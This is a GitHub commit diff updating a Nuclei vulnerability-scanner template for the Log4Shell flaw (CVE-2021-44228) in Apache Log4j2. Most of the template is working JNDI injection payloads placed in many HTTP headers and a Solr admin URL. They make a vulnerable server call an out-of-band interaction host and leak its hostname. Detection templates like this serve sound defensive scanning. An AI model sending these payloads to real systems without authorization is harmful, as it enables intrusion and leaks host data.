Update CVE-2021-44228.yaml
j4vaovo
GitHub
parent
50f218f2e6
commit
f7d012a580
|
|
@ -2,7 +2,7 @@ id: CVE-2021-44228
|
|||
|
||||
info:
|
||||
name: Apache Log4j2 Remote Code Injection
|
||||
author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea
|
||||
author: melbadry9,dhiyaneshDK,daffainfo,anon-artist,0xceba,Tea,j4vaovo
|
||||
severity: critical
|
||||
description: |
|
||||
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
|
||||
|
|
@ -20,32 +20,38 @@ info:
|
|||
cwe-id: CWE-502
|
||||
tags: cve,cve2021,rce,oast,log4j,injection,kev
|
||||
|
||||
variables:
|
||||
rand1: '{{rand_int(111, 999)}}'
|
||||
rand2: '{{rand_int(111, 999)}}'
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
GET /?x=${jndi:ldap://${sys:os.name}.uri.{{interactsh-url}}/a} HTTP/1.1
|
||||
GET /solr/admin/cores?action=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.uri.{{interactsh-url}}/a} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
- |
|
||||
GET / HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Accept: application/xml, application/json, text/plain, text/html, */${jndi:ldap://${sys:os.name}.accept.{{interactsh-url}}}
|
||||
Accept-Encoding: ${jndi:ldap://${sys:os.name}.acceptencoding.{{interactsh-url}}}
|
||||
Accept-Language: ${jndi:ldap://${sys:os.name}.acceptlanguage.{{interactsh-url}}}
|
||||
Access-Control-Request-Headers: ${jndi:ldap://${sys:os.name}.accesscontrolrequestheaders.{{interactsh-url}}}
|
||||
Access-Control-Request-Method: ${jndi:ldap://${sys:os.name}.accesscontrolrequestmethod.{{interactsh-url}}}
|
||||
Authentication: Basic ${jndi:ldap://${sys:os.name}.authenticationbasic.{{interactsh-url}}}
|
||||
Authentication: Bearer ${jndi:ldap://${sys:os.name}.authenticationbearer.{{interactsh-url}}}
|
||||
Cookie: ${jndi:ldap://${sys:os.name}.cookiename.{{interactsh-url}}}=${jndi:ldap://${sys:os.name}.cookievalue.{{interactsh-url}}}
|
||||
Location: ${jndi:ldap://${sys:os.name}.location.{{interactsh-url}}}
|
||||
Origin: ${jndi:ldap://${sys:os.name}.origin.{{interactsh-url}}}
|
||||
Referer: ${jndi:ldap://${sys:os.name}.referer.{{interactsh-url}}}
|
||||
Upgrade-Insecure-Requests: ${jndi:ldap://${sys:os.name}.upgradeinsecurerequests.{{interactsh-url}}}
|
||||
User-Agent: ${jndi:ldap://${sys:os.name}.useragent.{{interactsh-url}}}
|
||||
X-Api-Version: ${jndi:ldap://${sys:os.name}.xapiversion.{{interactsh-url}}}
|
||||
X-CSRF-Token: ${jndi:ldap://${sys:os.name}.xcsrftoken.{{interactsh-url}}}
|
||||
X-Druid-Comment: ${jndi:ldap://${sys:os.name}.xdruidcomment.{{interactsh-url}}}
|
||||
X-Forwarded-For: ${jndi:ldap://${sys:os.name}.xforwardedfor.{{interactsh-url}}}
|
||||
X-Origin: ${jndi:ldap://${sys:os.name}.xorigin.{{interactsh-url}}}
|
||||
Accept: application/xml, application/json, text/plain, text/html, */${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accept.{{interactsh-url}}}
|
||||
Accept-Encoding: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptencoding.{{interactsh-url}}}
|
||||
Accept-Language: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.acceptlanguage.{{interactsh-url}}}
|
||||
Access-Control-Request-Headers: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestheaders.{{interactsh-url}}}
|
||||
Access-Control-Request-Method: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.accesscontrolrequestmethod.{{interactsh-url}}}
|
||||
Authentication: Basic ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbasic.{{interactsh-url}}}
|
||||
Authentication: Bearer ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.authenticationbearer.{{interactsh-url}}}
|
||||
Cookie: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookiename.{{interactsh-url}}}=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.cookievalue.{{interactsh-url}}}
|
||||
Location: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.location.{{interactsh-url}}}
|
||||
Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.origin.{{interactsh-url}}}
|
||||
Referer: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.referer.{{interactsh-url}}}
|
||||
Upgrade-Insecure-Requests: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.upgradeinsecurerequests.{{interactsh-url}}}
|
||||
User-Agent: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.useragent.{{interactsh-url}}}
|
||||
X-Api-Version: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xapiversion.{{interactsh-url}}}
|
||||
X-CSRF-Token: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xcsrftoken.{{interactsh-url}}}
|
||||
X-Druid-Comment: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xdruidcomment.{{interactsh-url}}}
|
||||
X-Forwarded-For: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xforwardedfor.{{interactsh-url}}}
|
||||
X-Origin: ${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.xorigin.{{interactsh-url}}}
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
|
|
@ -57,7 +63,7 @@ requests:
|
|||
- type: regex
|
||||
part: interactsh_request
|
||||
regex:
|
||||
- '((W|w)(I|i)(N|n)(D|d)(O|o)(W|w)(S|s))|((L|l)(I|i)(N|n)(U|u)(X|x))\.' # windows or linux
|
||||
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
|
||||
|
||||
extractors:
|
||||
- type: kval
|
||||
|
|
@ -68,10 +74,10 @@ requests:
|
|||
part: interactsh_request
|
||||
group: 2
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
|
||||
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print injection point in output
|
||||
|
||||
- type: regex
|
||||
part: interactsh_request
|
||||
group: 1
|
||||
regex:
|
||||
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output
|
||||
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${:-{{rand1}}}${:-{{rand2}}}.${hostName} in output
|
||||
|
|
|
|||
Loading…
Reference in New Issue